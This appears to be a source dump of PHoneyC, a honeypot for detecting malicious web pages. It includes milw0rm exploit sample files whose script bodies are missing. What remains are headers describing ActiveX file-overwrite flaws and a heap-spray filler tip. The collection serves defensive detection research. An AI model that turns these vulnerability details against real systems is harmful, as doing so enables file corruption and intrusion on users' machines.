| // HP COMPUTER SYSTEM!!! 18 | 19 | // 20 | 21 | // 22 | 23 | //////////////////////////////// 24 | 25 | 26 | 27 | 28 | 29 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | -------------------------------------------------------------------------------- /samples/4042.html: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | 13 | 41 | 42 | sometimes 0a0a0a0a0a is not as good as 0d0d0d0d or 11111111 43 | 44 | # milw0rm.com [2007-06-07] 45 | -------------------------------------------------------------------------------- /samples/MicrosoftWorks7Attack.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | Microsoft Works 7 WkImgSrv.dll Exploit 4 | 5 | Coded by lhoang8500 6 | lhoang8500[at]gmail[dot]com 7 | BKIS Center - Vietnam 8 | 9 | 47 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | -------------------------------------------------------------------------------- /ActiveX/Attr2Fun.py: -------------------------------------------------------------------------------- 1 | Attr2Fun = {} 2 | 3 | Attr2Fun['StromMpsURL'] = 'SetURL' 4 | Attr2Fun['StromMpsbackImage'] = 'SetbackImage' 5 | Attr2Fun['StromMpstitleImage'] = 'SettitleImage' 6 | Attr2Fun['YahooMessengerYwcvwrserver'] = 'Setserver' 7 | Attr2Fun['PPlayerFlvPlayerUrl'] = 'SetFlvPlayerUrl' 8 | Attr2Fun['PPlayerLogo'] = 'SetLogo' 9 | Attr2Fun['DominoGeneral_ServerName'] = 'SetGeneral_ServerName' 10 | Attr2Fun['DominoGeneral_JunctionName'] = 'SetGeneral_JunctionName' 11 | Attr2Fun['DominoMail_MailDbPath'] = 'SetMail_MailDbPath' 12 | Attr2Fun['QvodCtrlURL'] = 'SetURL' 13 | Attr2Fun['QvodCtrlurl'] = 'SetURL' 14 | Attr2Fun['RtspVaPgCtrlMP4Prefix'] = 'SetMP4Prefix' 15 | Attr2Fun['FileUploaderHandwriterFilename'] = 'SetHandwriterFilename' 16 | Attr2Fun['FacebookPhotoUploaderExtractIptc'] = 'SetExtractIptc' 17 | Attr2Fun['FacebookPhotoUploaderExtractExif'] = 'SetExtractExif' 18 | Attr2Fun['MyspaceUploaderAction'] = 'SetAction' 19 | Attr2Fun['DLinkMPEGUrl'] = 'SetUrl' 20 | Attr2Fun['SymantecBackupExec_DOWText0'] = 'Set_DOWText0' 21 | Attr2Fun['SymantecBackupExec_DOWtext6'] = 'Set_DOWText6' 22 | Attr2Fun['SymantecBackupExec_MonthText0'] = 'Set_MonthText0' 23 | Attr2Fun['SymantecBackupExec_MonthText11'] = 'Set_MonthText11' 24 | Attr2Fun['RediffBolDownloaderAttackurl'] = 'Seturl' 25 | Attr2Fun['CreativeSoftAttackcachefolder'] = 'Setcacherfolder' 26 | Attr2Fun['MicrosoftWorks7AttackWksPictureInterface'] = 'SetWksPictureInterface' 27 | Attr2Fun['RealPlayerConsole'] = 'SetConsole' 28 | Attr2Fun['DirectShowdata'] = 'Setdata' 29 | 30 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | default: 2 | @echo "please chose your platform: debian, gentoo, ubuntu, or osx" 3 | @echo "and type \"make \"" 4 | @exit 5 | 6 | debian:python-debian pkgconfig-debian setuptools-debian nspr-debian ldconfig-debian xulrunner-debian libemu phoneyc_modules 7 | ubuntu:python-debian pkgconfig-debian setuptools-debian nspr-debian ldconfig-debian xulrunner-debian libemu phoneyc_modules 8 | gentoo:pkgconfig-gentoo setuptools-gentoo nspr-gentoo xulrunner-gentoo ldconfig-gentoo libemu phoneyc_modules 9 | osx:pkgconfig-osx nspr-osx xulrunner-osx libemu phoneyc_modules 10 | 11 | python-debian: 12 | apt-get install python-dev 13 | 14 | pkgconfig-debian: 15 | apt-get install pkg-config 16 | 17 | nspr-debian: 18 | apt-get install libnspr4-dev 19 | 20 | xulrunner-debian: 21 | apt-get install xulrunner-dev 22 | 23 | setuptools-debian: 24 | apt-get install python-setuptools 25 | 26 | pkgconfig-gentoo: 27 | emerge -u dev-util/pkgconfig 28 | 29 | nspr-gentoo: 30 | emerge -u dev-libs/nspr 31 | 32 | xulrunner-gentoo: 33 | emerge -u net-libs/xulrunner 34 | 35 | setuptools-gentoo: 36 | emerge -u dev-python/setuptools 37 | 38 | pkgconfig-osx: 39 | port install pkgconfig 40 | 41 | nspr-osx: 42 | port install nspr 43 | 44 | xulrunner-osx: 45 | port install xulrunner 46 | 47 | ldconfig-debian: 48 | echo "/opt/libemu/lib" > /etc/ld.so.conf.d/libemu.conf 49 | echo "/opt/libemu/lib/libemu" >> /etc/ld.so.conf.d/libemu.conf 50 | 51 | ldconfig-gentoo: 52 | echo "/opt/libemu/lib" > /etc/ld.so.conf.d/libemu.conf 53 | echo "/opt/libemu/lib/libemu" >> /etc/ld.so.conf.d/libemu.conf 54 | 55 | libemu: 56 | ldconfig; \ 57 | git clone git://git.carnivore.it/libemu.git /opt/libemu-trunk; \ 58 | cd /opt/libemu-trunk; \ 59 | autoreconf -v -i && ./configure --prefix=/opt/libemu && make install; \ 60 | cd -; 61 | 62 | phoneyc_modules: 63 | cd modules; \ 64 | make && make install; \ 65 | cd -; 66 | -------------------------------------------------------------------------------- /samples/4149.html: -------------------------------------------------------------------------------- 1 | 50 | 51 | 52 | 53 | 54 | 71 | 72 | 73 | 74 | 75 | 76 | # milw0rm.com [2007-07-05] 77 | -------------------------------------------------------------------------------- /modules/hcalert/hcalert.py: -------------------------------------------------------------------------------- 1 | # 2 | # The Alert module for phoneyc and honeyjs 3 | # 4 | # Copyright 2009 Z. Chen 5 | # 6 | # This file is part of the PHoneyC project, released under the MIT license. 7 | # 8 | 9 | import libemu 10 | 11 | class Alert: 12 | gid = 0 13 | def __init__(self,atype,aid=-1,msg="",misc={}): 14 | if aid == -1: 15 | Alert.gid += 1 16 | self.aid=Alert.gid 17 | else: 18 | self.aid=aid 19 | self.msg=msg 20 | self.atype=atype 21 | self.misc=misc 22 | 23 | 24 | class ShellcodeAlert(Alert): 25 | def __init__(self,aid=-1,msg="Shellcode Detected",shellcode="",offset = 0,misc={}): 26 | Alert.__init__(self,"ALERT_SHELLCODE",aid,msg,misc) 27 | self.shellcode = shellcode; 28 | self.offset = offset; 29 | def run_shellcode(self): 30 | e=libemu.Emulator() 31 | return e.run_shellcode(self.shellcode,self.offset) 32 | 33 | class HeapsprayAlert(Alert): 34 | alert_by_uid = {} 35 | def __init__(self,aid=-1,msg="Heapspray Detected",entropy=-1,length = 0,uniqueid = 0,misc={},update = "R"): 36 | Alert.__init__(self,"ALERT_HEAPSPRAY",aid,msg,misc) 37 | self.entropy = entropy 38 | self.length = length 39 | self.hit = 1 40 | self.memusage = length 41 | self.update = update 42 | self.__class__.alert_by_uid[uniqueid] = self 43 | def reraise(self,msg = "Previous",entropy = -1, length = 0,misc = {}): 44 | if msg != "Previous": 45 | self.msg = msg 46 | if entropy != -1: 47 | self.entropy = entropy 48 | if length != 0: 49 | self.length = length 50 | if self.update == "R" or self.update == "r": 51 | self.memusage = length 52 | if self.update == "A" or self.update == "a": 53 | self.memusage += length 54 | self.misc.update(misc) 55 | self.hit += 1 56 | return None 57 | -------------------------------------------------------------------------------- /samples/4874.html: -------------------------------------------------------------------------------- 1 |
-----------------------------------------------------------------------------
 2 |  Microsoft Rich Textbox Control 6.0 (SP6) "SaveFile()" Insecure Method
 3 |  url: http://www.microsoft.com
 4 | 
 5 |  Author: shinnai
 6 |  mail: shinnai[at]autistici[dot]org
 7 |  site: http://shinnai.altervista.org
 8 | 
 9 |  This was written for educational purpose. Use it at your own risk.
10 |  Author will be not responsible for any damage.
11 | 
12 |  Technical details:
13 |  File: RICHTX32.OCX
14 |  ver.: 6.1.97.82
15 | 
16 |  While this GUID {3B7C8860-D78F-101B-B9B5-04021C009402} is
17 |  killbited, this one {B617B991-A767-4F05-99BA-AC6FCABB102E}
18 | 
19 |  works fine so it is possible, using the "SaveFile()" method,
20 |  to save the content of the rich textbox on a user's pc.
21 |  This can be used to save, overwrite and/or corrupt arbitrary
22 |  files on the system.
23 |  
24 |  It's marked as:
25 |  RegKey Safe for Script: False
26 |  RegKey Safe for Init: False
27 |  Implements IObjectSafety: True
28 |  IPersist Safe: Safe for untrusted: caller,data
29 |  IPStorage Safe: Safe for untrusted: caller,data
30 | 
31 |  Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
32 | -----------------------------------------------------------------------------
33 |      
34 | 
41 | 42 | # milw0rm.com [2008-01-09] 43 | 44 | 45 | -------------------------------------------------------------------------------- /samples/qvodctl-2.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 51 | 52 | 53 | -------------------------------------------------------------------------------- /samples/5272.html: -------------------------------------------------------------------------------- 1 | 2 | 24 | Could Not Load ActiveX Control. 25 | 26 | 45 | 46 | 47 | 48 | # milw0rm.com [2008-03-18] 49 | 50 | 51 | -------------------------------------------------------------------------------- /test/ms09002-mod.html: -------------------------------------------------------------------------------- 1 | 24 | 25 | -------------------------------------------------------------------------------- /samples/PPlayer.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 9 | 10 | 26 | 27 | 56 | 57 | 58 | -------------------------------------------------------------------------------- /samples/4420.html: -------------------------------------------------------------------------------- 1 |
 2 | -----------------------------------------------------------------------------
 3 |  MW6 Technologies QRCode ActiveX 3.0 (MW6QRCode.dll) Remote File Overwrite
 4 |  url: www.mw6tech.com
 5 | 
 6 |  Author: shinnai
 7 |  mail: shinnai[at]autistici[dot]org
 8 |  site: http://shinnai.altervista.org
 9 | 
10 |  This was written for educational purpose. Use it at your own risk.
11 |  Author will be not responsible for any damage.
12 | 
13 |  Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
14 | 
15 |  Description:
16 |  This control contains two methods, "SaveAsBMP()" and "SaveAsWMF()", which
17 |  write to a file specified as an argument.
18 |  These can be exploited to overwrite and corrupt arbitrary files on the
19 |  system in the context of the currently logged-on user.
20 | 
21 |  Marked as:
22 |  RegKey Safe for Script: False
23 |  RegKey Safe for Init: False
24 |  Implements IObjectSafety: True
25 |  IDisp Safe: Safe for untrusted: caller,data
26 |  IPersist Safe: Safe for untrusted: caller,data
27 |  IPStorage Safe: Safe for untrusted: caller,data
28 |  KillBitSet: Falso 
29 | -----------------------------------------------------------------------------
30 | 
31 | 
32 | 
37 | 
38 | 
39 | 
40 | 
53 | 
54 | 
55 | 56 | # milw0rm.com [2007-09-18] 57 | -------------------------------------------------------------------------------- /samples/YahooMessengerYVerInfo.htm: -------------------------------------------------------------------------------- 1 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 47 | 48 | 49 | -------------------------------------------------------------------------------- /samples/DVRHOSTWeb.htm: -------------------------------------------------------------------------------- 1 | 2 | 20 | 21 | -------------------------------------------------------------------------------- /samples/YahooMessengerYwcvwr_GetComponentVersion.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 43 | 44 | -------------------------------------------------------------------------------- /samples/gom.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 33 | 34 | 35 | -------------------------------------------------------------------------------- /samples/SSReaderPdg2_Register.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 43 | 44 | -------------------------------------------------------------------------------- /samples/4351.html: -------------------------------------------------------------------------------- 1 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 47 | 48 | 49 | # milw0rm.com [2007-09-01] 50 | -------------------------------------------------------------------------------- /samples/ssreader_0day.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 32 | 47 | 48 | 49 | -------------------------------------------------------------------------------- /test/ssreader_0day.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 32 | 48 | 49 | -------------------------------------------------------------------------------- /samples/3420.html: -------------------------------------------------------------------------------- 1 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 35 | 36 | 37 | 38 | # milw0rm.com [2007-03-06] 39 | -------------------------------------------------------------------------------- /samples/WinZip.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 51 | 52 | 53 | 54 | -------------------------------------------------------------------------------- /modules/honeyjs/spidermonkey/string.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2009 Paul J. Davis 3 | * 4 | * This file is part of the python-spidermonkey package released 5 | * under the MIT license. 6 | * 7 | */ 8 | 9 | #include "spidermonkey.h" 10 | 11 | JSString* 12 | py2js_string_obj(Context* cx, PyObject* str) 13 | { 14 | PyObject* conv = NULL; 15 | PyObject* encoded = NULL; 16 | JSString* ret = NULL; 17 | char* bytes; 18 | Py_ssize_t len; 19 | 20 | if(PyString_Check(str)) 21 | { 22 | conv = PyUnicode_FromEncodedObject(str, "utf-8", "replace"); 23 | if(conv == NULL) goto error; 24 | str = conv; 25 | } 26 | else if(!PyUnicode_Check(str)) 27 | { 28 | PyErr_SetString(PyExc_TypeError, "Invalid string conversion."); 29 | goto error; 30 | } 31 | 32 | encoded = PyUnicode_AsEncodedString(str, "utf-16", "strict"); 33 | if(encoded == NULL) goto error; 34 | if(PyString_AsStringAndSize(encoded, &bytes, &len) < 0) goto error; 35 | if(len < 2) 36 | { 37 | PyErr_SetString(PyExc_ValueError, "Failed to find byte-order mark."); 38 | goto error; 39 | } 40 | 41 | if(((unsigned short*) bytes)[0] != 0xFEFF) 42 | { 43 | PyErr_SetString(PyExc_ValueError, "Invalid UTF-16 BOM"); 44 | goto error; 45 | } 46 | 47 | ret = JS_NewUCStringCopyN(cx->cx, (jschar*) (bytes+2), (len/2)-1); 48 | 49 | goto success; 50 | 51 | error: 52 | success: 53 | Py_XDECREF(conv); 54 | Py_XDECREF(encoded); 55 | return ret; 56 | } 57 | 58 | jsval 59 | py2js_string(Context* cx, PyObject* str) 60 | { 61 | JSString* val = py2js_string_obj(cx, str); 62 | if(val == NULL) 63 | { 64 | PyErr_Clear(); 65 | return JSVAL_VOID; 66 | } 67 | 68 | return STRING_TO_JSVAL(val); 69 | } 70 | 71 | PyObject* 72 | js2py_string(Context* cx, jsval val) 73 | { 74 | JSString* str; 75 | jschar* bytes; 76 | size_t len; 77 | 78 | if(!JSVAL_IS_STRING(val)) 79 | { 80 | PyErr_SetString(PyExc_TypeError, "Value is not a JS String."); 81 | return NULL; 82 | } 83 | 84 | str = JSVAL_TO_STRING(val); 85 | len = JS_GetStringLength(str); 86 | bytes = JS_GetStringChars(str); 87 | 88 | return PyUnicode_Decode((const char*) bytes, len*2, "utf-16", "strict"); 89 | } 90 | -------------------------------------------------------------------------------- /modules/honeyjs/tests/test-context.py: -------------------------------------------------------------------------------- 1 | # Copyright 2009 Paul J. Davis 2 | # 3 | # This file is part of the python-spidermonkey package released 4 | # under the MIT license. 5 | import t 6 | import time 7 | 8 | @t.rt() 9 | def test_no_provided_runtime(rt): 10 | t.raises(TypeError, t.spidermonkey.Context) 11 | 12 | @t.rt() 13 | def test_invalid_runtime(rt): 14 | t.raises(TypeError, t.spidermonkey.Context, 0) 15 | 16 | @t.rt() 17 | def test_creating_new_context(rt): 18 | t.eq(isinstance(rt.new_context(), t.spidermonkey.Context), True) 19 | 20 | @t.cx() 21 | def test_basic_execution(cx): 22 | t.eq(cx.execute("var x = 4; x * x;"), 16) 23 | t.lt(cx.execute("22/7;") - 3.14285714286, 0.00000001) 24 | 25 | @t.cx() 26 | def test_reentry(cx): 27 | cx.execute("var x = 42;") 28 | t.eq(cx.execute("x;"), 42) 29 | 30 | @t.cx() 31 | def test_null(cx): 32 | cx.execute("x = null;") 33 | t.eq(cx.execute("x;"), None) 34 | 35 | @t.cx() 36 | def test_get_set_limits(cx): 37 | t.eq(cx.max_time(), 0) 38 | t.eq(cx.max_memory(), 0) 39 | t.eq(cx.max_time(10), 0) # Accessors return previous value. 40 | t.eq(cx.max_time(), 10) 41 | t.eq(cx.max_memory(10), 0) 42 | t.eq(cx.max_memory(), 10) 43 | 44 | @t.cx() 45 | def test_exceed_time(cx): 46 | script = """ 47 | var time = function() {return (new Date()).getTime();}; 48 | var start = time(); 49 | while((time() - start) < 100000) {} 50 | """ 51 | cx.max_time(1) 52 | t.raises(SystemError, cx.execute, script) 53 | 54 | @t.cx() 55 | def test_does_not_exceed_time(cx): 56 | cx.max_time(1) 57 | func = cx.execute("function() {return 1;}") 58 | time.sleep(1.1) 59 | cx.execute("var f = 2;"); 60 | time.sleep(1.1) 61 | func() 62 | time.sleep(1.1) 63 | cx.execute("f;"); 64 | 65 | @t.cx() 66 | def test_exceed_memory(cx): 67 | cx.max_memory(10000) 68 | script = "var f = []; var b = 1000000; while(b-- > 0) f[f.length] = b*0.9;" 69 | t.raises(MemoryError, cx.execute, script) 70 | 71 | @t.cx() 72 | def test_small_limit(cx): 73 | cx.max_memory(1) 74 | t.raises(MemoryError, cx.execute, "var f = []; while(true) f.push(2.3);"); 75 | 76 | @t.cx() 77 | def test_does_not_exceed_memory(cx): 78 | cx.max_memory(10000) 79 | script = "var f = 2; f;" 80 | cx.execute(script) 81 | 82 | -------------------------------------------------------------------------------- /modules/honeyjs/spidermonkey/libjs/jsmath.h: -------------------------------------------------------------------------------- 1 | /* ***** BEGIN LICENSE BLOCK ***** 2 | * Version: MPL 1.1/GPL 2.0/LGPL 2.1 3 | * 4 | * The contents of this file are subject to the Mozilla Public License Version 5 | * 1.1 (the "License"); you may not use this file except in compliance with 6 | * the License. You may obtain a copy of the License at 7 | * http://www.mozilla.org/MPL/ 8 | * 9 | * Software distributed under the License is distributed on an "AS IS" basis, 10 | * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License 11 | * for the specific language governing rights and limitations under the 12 | * License. 13 | * 14 | * The Original Code is Mozilla Communicator client code, released 15 | * March 31, 1998. 16 | * 17 | * The Initial Developer of the Original Code is 18 | * Netscape Communications Corporation. 19 | * Portions created by the Initial Developer are Copyright (C) 1998-1999 20 | * the Initial Developer. All Rights Reserved. 21 | * 22 | * Contributor(s): 23 | * 24 | * Alternatively, the contents of this file may be used under the terms of 25 | * either of the GNU General Public License Version 2 or later (the "GPL"), 26 | * or the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), 27 | * in which case the provisions of the GPL or the LGPL are applicable instead 28 | * of those above. If you wish to allow use of your version of this file only 29 | * under the terms of either the GPL or the LGPL, and not to allow others to 30 | * use your version of this file under the terms of the MPL, indicate your 31 | * decision by deleting the provisions above and replace them with the notice 32 | * and other provisions required by the GPL or the LGPL. If you do not delete 33 | * the provisions above, a recipient may use your version of this file under 34 | * the terms of any one of the MPL, the GPL or the LGPL. 35 | * 36 | * ***** END LICENSE BLOCK ***** */ 37 | 38 | /* -*- Mode: C; tab-width: 8 -*- 39 | * Copyright (C) 1998-1999 Netscape Communications Corporation, All Rights Reserved. 40 | */ 41 | 42 | #ifndef jsmath_h___ 43 | #define jsmath_h___ 44 | /* 45 | * JS math functions. 46 | */ 47 | 48 | JS_BEGIN_EXTERN_C 49 | 50 | extern JSClass js_MathClass; 51 | 52 | extern JSObject * 53 | js_InitMathClass(JSContext *cx, JSObject *obj); 54 | 55 | JS_END_EXTERN_C 56 | 57 | #endif /* jsmath_h___ */ 58 | -------------------------------------------------------------------------------- /samples/2448.html: -------------------------------------------------------------------------------- 1 | 18 | 19 | 20 | 21 | 63 | 64 | 65 | 66 | 67 | 68 | -------------------------------------------------------------------------------- /modules/honeyjs/tests/test-object.py: -------------------------------------------------------------------------------- 1 | # Copyright 2009 Paul J. Davis 2 | # 3 | # This file is part of the python-spidermonkey package released 4 | # under the MIT license. 5 | import t 6 | 7 | @t.cx() 8 | def test_object_repr(cx): 9 | t.eq(repr(cx.execute('var f = {"foo": "bar"}; f;')), "[object Object]") 10 | 11 | @t.cx() 12 | def test_object_attr_access(cx): 13 | t.eq(cx.execute('var f = {"foo": "bar"}; f;').foo, "bar") 14 | 15 | @t.cx() 16 | def test_object_item_access(cx): 17 | t.eq(cx.execute('var f = {"foo": "bar"}; f;')["foo"], "bar") 18 | 19 | @t.cx() 20 | def test_attribute_creation(cx): 21 | ret = cx.execute('var f = {"foo": "bar"}; f;') 22 | ret.pinky = "taking over." 23 | t.eq(cx.execute("f.pinky;"), "taking over.") 24 | 25 | @t.cx() 26 | def test_item_creation(cx): 27 | ret = cx.execute('var f = {"foo": "bar"}; f;') 28 | ret["pinky"] = "the world" 29 | t.eq(cx.execute("f.pinky;"), "the world") 30 | 31 | @t.cx() 32 | def test_js_mutation(cx): 33 | ret = cx.execute('var f = {"foo": "bar"}; f;') 34 | cx.execute('f["foo"] = 13;') 35 | t.eq(ret.foo, 13) 36 | 37 | @t.cx() 38 | def test_int_is_str_item(cx): 39 | ret = cx.execute('var f = {"2": "bar"}; f;') 40 | t.eq(ret["2"], "bar") 41 | t.eq(ret[2], "bar") 42 | 43 | @t.cx() 44 | def test_del_item_from_py(cx): 45 | ret = cx.execute('var f = {2: "bar"}; f;') 46 | del ret[2] 47 | t.eq(cx.execute('f[2];'), None) 48 | 49 | @t.cx() 50 | def test_del_attr_from_py(cx): 51 | ret = cx.execute('var f = {2: "bar"}; f;') 52 | delattr(ret, "2") 53 | t.eq(cx.execute("f[2]"), None) 54 | 55 | @t.cx() 56 | def test_array_repr(cx): 57 | t.eq(repr(cx.execute('[1, "foo", undefined];')), "1,foo,") 58 | 59 | @t.cx() 60 | def test_array_length(cx): 61 | t.eq(cx.execute('[1, "foo", undefined];').length, 3) 62 | 63 | @t.cx() 64 | def test_array_equality(cx): 65 | t.eq(cx.execute("[1,2,3];"), [1, 2, 3]) 66 | 67 | @t.cx() 68 | def test_mapping_equality(cx): 69 | js = 'var d = {0: 0, "a": 1, 2: "b", "c": "d", "blah": 2.5}; d;' 70 | py = {0: 0, "a": 1, 2: "b", "c": "d", "blah": 2.5} 71 | t.eq(cx.execute(js), py) 72 | 73 | @t.cx() 74 | def test_nested_object_equality(cx): 75 | t.eq( 76 | cx.execute('["foo", 2, {"bar": 2.3, "spam": [1,2,3]}];'), 77 | [u"foo", 2, {u"bar": 2.3, u"spam": [1,2,3]}] 78 | ) 79 | -------------------------------------------------------------------------------- /modules/honeyjs/tests/t.py: -------------------------------------------------------------------------------- 1 | # Copyright 2009 Paul J. Davis 2 | # 3 | # This file is part of the python-spidermonkey package released 4 | # under the MIT license. 5 | import unittest 6 | import spidermonkey 7 | from spidermonkey import JSError 8 | 9 | class test(object): 10 | def __call__(self, func): 11 | def run(): 12 | func(*self.args()) 13 | run.func_name = func.func_name 14 | return run 15 | def args(self, func): 16 | raise NotImplementedError() 17 | 18 | class rt(test): 19 | def args(self): 20 | return (spidermonkey.Runtime(),) 21 | 22 | class cx(test): 23 | def args(self): 24 | rt = spidermonkey.Runtime() 25 | return (rt.new_context(),) 26 | 27 | class echo(test): 28 | def args(self): 29 | rt = spidermonkey.Runtime() 30 | cx = rt.new_context() 31 | echo = cx.execute("function(arg) {return arg;}") 32 | return (echo,) 33 | 34 | class glbl(test): 35 | def __init__(self, name, value): 36 | self.name = name 37 | self.value = value 38 | def args(self): 39 | rt = spidermonkey.Runtime() 40 | cx = rt.new_context() 41 | cx.add_global(self.name, self.value) 42 | return (cx, self.value) 43 | 44 | def eq(a, b): 45 | assert a == b, "%r != %r" % (a, b) 46 | 47 | def ne(a, b): 48 | assert a != b, "%r == %r" % (a, b) 49 | 50 | def lt(a, b): 51 | assert a < b, "%r >= %r" % (a, b) 52 | 53 | def gt(a, b): 54 | assert a > b, "%r <= %r" % (a, b) 55 | 56 | def isin(a, b): 57 | assert a in b, "%r is not in %r" % (a, b) 58 | 59 | def isnotin(a, b): 60 | assert a not in b, "%r is in %r" % (a, b) 61 | 62 | def has(a, b): 63 | assert hasattr(a, b), "%r has no attribute %r" % (a, b) 64 | 65 | def hasnot(a, b): 66 | assert not hasattr(a, b), "%r has an attribute %r" % (a, b) 67 | 68 | def raises(exctype, func, *args, **kwargs): 69 | try: 70 | func(*args, **kwargs) 71 | except exctype, inst: 72 | pass 73 | else: 74 | func_name = getattr(func, "func_name", "") 75 | raise AssertionError("Function %s did not raise %s" % ( 76 | func_name, exctype.__name__)) 77 | 78 | def is_js_object(obj): 79 | assert isinstance(obj, spidermonkey.Object), \ 80 | "%r is not an instance of spdermonkey.Object." % obj 81 | -------------------------------------------------------------------------------- /modules/honeyjs/spidermonkey/libjs/jsfile.h: -------------------------------------------------------------------------------- 1 | /* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- 2 | * 3 | * ***** BEGIN LICENSE BLOCK ***** 4 | * Version: MPL 1.1/GPL 2.0/LGPL 2.1 5 | * 6 | * The contents of this file are subject to the Mozilla Public License Version 7 | * 1.1 (the "License"); you may not use this file except in compliance with 8 | * the License. You may obtain a copy of the License at 9 | * http://www.mozilla.org/MPL/ 10 | * 11 | * Software distributed under the License is distributed on an "AS IS" basis, 12 | * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License 13 | * for the specific language governing rights and limitations under the 14 | * License. 15 | * 16 | * The Original Code is Mozilla Communicator client code, released 17 | * March 31, 1998. 18 | * 19 | * The Initial Developer of the Original Code is 20 | * Netscape Communications Corporation. 21 | * Portions created by the Initial Developer are Copyright (C) 1998 22 | * the Initial Developer. All Rights Reserved. 23 | * 24 | * Contributor(s): 25 | * 26 | * Alternatively, the contents of this file may be used under the terms of 27 | * either of the GNU General Public License Version 2 or later (the "GPL"), 28 | * or the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), 29 | * in which case the provisions of the GPL or the LGPL are applicable instead 30 | * of those above. If you wish to allow use of your version of this file only 31 | * under the terms of either the GPL or the LGPL, and not to allow others to 32 | * use your version of this file under the terms of the MPL, indicate your 33 | * decision by deleting the provisions above and replace them with the notice 34 | * and other provisions required by the GPL or the LGPL. If you do not delete 35 | * the provisions above, a recipient may use your version of this file under 36 | * the terms of any one of the MPL, the GPL or the LGPL. 37 | * 38 | * ***** END LICENSE BLOCK ***** */ 39 | 40 | #ifndef _jsfile_h__ 41 | #define _jsfile_h__ 42 | 43 | #if JS_HAS_FILE_OBJECT 44 | 45 | #include "jsobj.h" 46 | 47 | extern JS_PUBLIC_API(JSObject*) 48 | js_InitFileClass(JSContext *cx, JSObject* obj); 49 | 50 | extern JS_PUBLIC_API(JSObject*) 51 | js_NewFileObject(JSContext *cx, char *bytes); 52 | 53 | extern JSClass js_FileClass; 54 | 55 | #endif /* JS_HAS_FILE_OBJECT */ 56 | #endif /* _jsfile_h__ */ 57 | --------------------------------------------------------------------------------